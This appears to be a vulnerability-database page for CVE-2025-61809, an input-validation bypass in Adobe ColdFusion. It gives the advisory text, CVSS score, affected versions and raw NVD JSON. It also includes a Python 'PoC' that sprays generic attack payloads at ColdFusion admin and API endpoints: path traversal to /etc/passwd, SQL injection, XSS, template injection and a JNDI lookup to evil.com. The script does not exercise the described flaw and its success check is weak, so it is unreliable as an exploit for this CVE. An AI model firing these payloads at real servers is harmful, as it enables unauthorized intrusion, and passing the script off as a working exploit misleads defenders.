CVE-2025-61809

Description

ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access. Exploitation of this issue does not require user interaction and scope is unchanged.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:* - VULNERABLE

Adobe ColdFusion 2025.4 及更早版本

Adobe ColdFusion 2023.16 及更早版本

Adobe ColdFusion 2021.22 及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-61809 Adobe ColdFusion Input Validation Bypass PoC
# This PoC demonstrates the improper input validation vulnerability in Adobe ColdFusion
# Target: Adobe ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier

import requests
import sys

def check_vulnerability(target_url):
    """
    Check if the target ColdFusion instance is vulnerable to CVE-2025-61809
    """
    # Common ColdFusion endpoints
    endpoints = [
        '/CFIDE/administrator/',
        '/cfapi/',
        '/rest/',
        '/flex2gateway/'
    ]
    
    # Malicious payloads that may bypass input validation
    payloads = [
        '../../../../../../etc/passwd',
        'admin\' OR \'1\'=\'1',
        '<script>alert(1)</script>',
        '{{7*7}}',
        '${jndi:ldap://evil.com/a}'
    ]
    
    print(f"[*] Scanning target: {target_url}")
    print(f"[*] Testing {len(endpoints)} endpoints with {len(payloads)} payloads")
    
    for endpoint in endpoints:
        url = target_url.rstrip('/') + endpoint
        print(f"\n[*] Testing endpoint: {url}")
        
        for payload in payloads:
            try:
                # Test GET request with payload in parameter
                params = {'input': payload}
                response = requests.get(url, params=params, timeout=10, verify=False)
                
                # Check for signs of successful bypass
                if response.status_code == 200:
                    if 'root:' in response.text or 'adobe' in response.text.lower():
                        print(f"[!] Potential vulnerability detected at {url}")
                        print(f"[!] Payload: {payload}")
                        return True
                
                # Test POST request
                response = requests.post(url, data={'input': payload}, timeout=10, verify=False)
                if response.status_code in [200, 201]:
                    print(f"[*] POST request to {url} with payload {payload} - Status: {response.status_code}")
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Error testing {url}: {str(e)}")
                continue
    
    print("\n[*] Scan completed. Manual verification recommended.")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2025-61809-poc.py <target_url>")
        print("Example: python cve-2025-61809-poc.py https://vulnerable-server.com")
        sys.exit(1)
    
    target = sys.argv[1]
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61809
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61809
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61809/
[4] VulDB https://vuldb.com/cve/CVE-2025-61809
[5] https://helpx.adobe.com/security/products/coldfusion/apsb25-105.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61809", "sourceIdentifier": "[email protected]", "published": "2025-12-10T00:16:09.273", "lastModified": "2025-12-12T19:04:51.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier are affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access. Exploitation of this issue does not require user interaction and scope is unchanged."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:-:*:*:*:*:*:*", "matchCriteriaId": "7A94B406-C011-4673-8C2B-0DD94D46CC4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update1:*:*:*:*:*:*", "matchCriteriaId": "AFD05E3A-10F9-4C75-9710-BA46B66FF6E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update10:*:*:*:*:*:*", "matchCriteriaId": "F1FC7D1D-6DD2-48B2-980F-B001B0F24473"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update11:*:*:*:*:*:*", "matchCriteriaId": "1FA19E1D-61C2-4640-AF06-4BCFE750BDF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update12:*:*:*:*:*:*", "matchCriteriaId": "3F331DEA-F3D0-4B13-AB1E-6FE39B2BB55D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update13:*:*:*:*:*:*", "matchCriteriaId": "63D5CF84-4B0D-48AE-95D6-262AEA2FFDE8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update14:*:*:*:*:*:*", "matchCriteriaId": "10616A3A-0C1C-474A-BD7D-A2A5BB870F74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update15:*:*:*:*:*:*", "matchCriteriaId": "D7DA523E-1D9B-45FD-94D9-D4F9F2B9296B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update16:*:*:*:*:*:*", "matchCriteriaId": "151AFF8B-F05C-4D27-85FC-DF88E9C11BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update17:*:*:*:*:*:*", "matchCriteriaId": "53A0E245-2915-4DFF-AFB5-A12F5C435702"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update18:*:*:*:*:*:*", "matchCriteriaId": "C5653D18-7534-48A3-819F-9F049A418F99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update19:*:*:*:*:*:*", "matchCriteriaId": "BABC6468-A780-4080-A930-4125D1B39C51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update2:*:*:*:*:*:*", "matchCriteriaId": "D57C8681-AC68-47DF-A61E-B5C4B4A47663"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update20:*:*:*:*:*:*", "matchCriteriaId": "F58633C9-E957-46B7-8F5B-B060A8726E33"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update21:*:*:*:*:*:*", "matchCriteriaId": "3CF83653-86BB-461A-87F8-65D99EF2276E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update22:*:*:*:*:*:*", "matchCriteriaId": "C2C67E15-22DE-44C0-8CB1-9AF8FCF09FA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update3:*:*:*:*:*:*", "matchCriteriaId": "75608383-B727-48D6-8FFA-D552A338A562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update4:*:*:*:*:*:*", "matchCriteriaId": "7773DB68-414A-4BA9-960F-52471A784379"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update5:*:*:*:*:*:*", "matchCriteriaId": "B38B9E86-BCD5-4BCA-8FB7-EC55905184E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update6:*:*:*:*:*:*", "matchCriteriaId": "5E7BAB80-8455-4570-A2A2-8F40469EE9CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update7:*:*:*:*:*:*", "matchCriteriaId": "F9D645A2-E02D-4E82-A2BD-0A7DE5B8FBCC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update8:*:*:*:*:*:*", "matchCriteriaId": "6E22D701-B038-4795-AA32-A18BC93C2B6F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2021:update9:*:*:*:*:*:*", "matchCriteriaId": "CAC4A0EC-C3FC-47D8-86CE-0E6A87A7F0B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:-:*:*:*:*:*:*", "matchCriteriaId": "B02A37FE-5D31-4892-A3E6-156A8FE62D28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:coldfusion:2023:update1:*:*:*:*:*:*", "matchCriteriaId": "0AA3D302-CFEE-4DFD-AB92-F53C87721BFF" ... (truncated)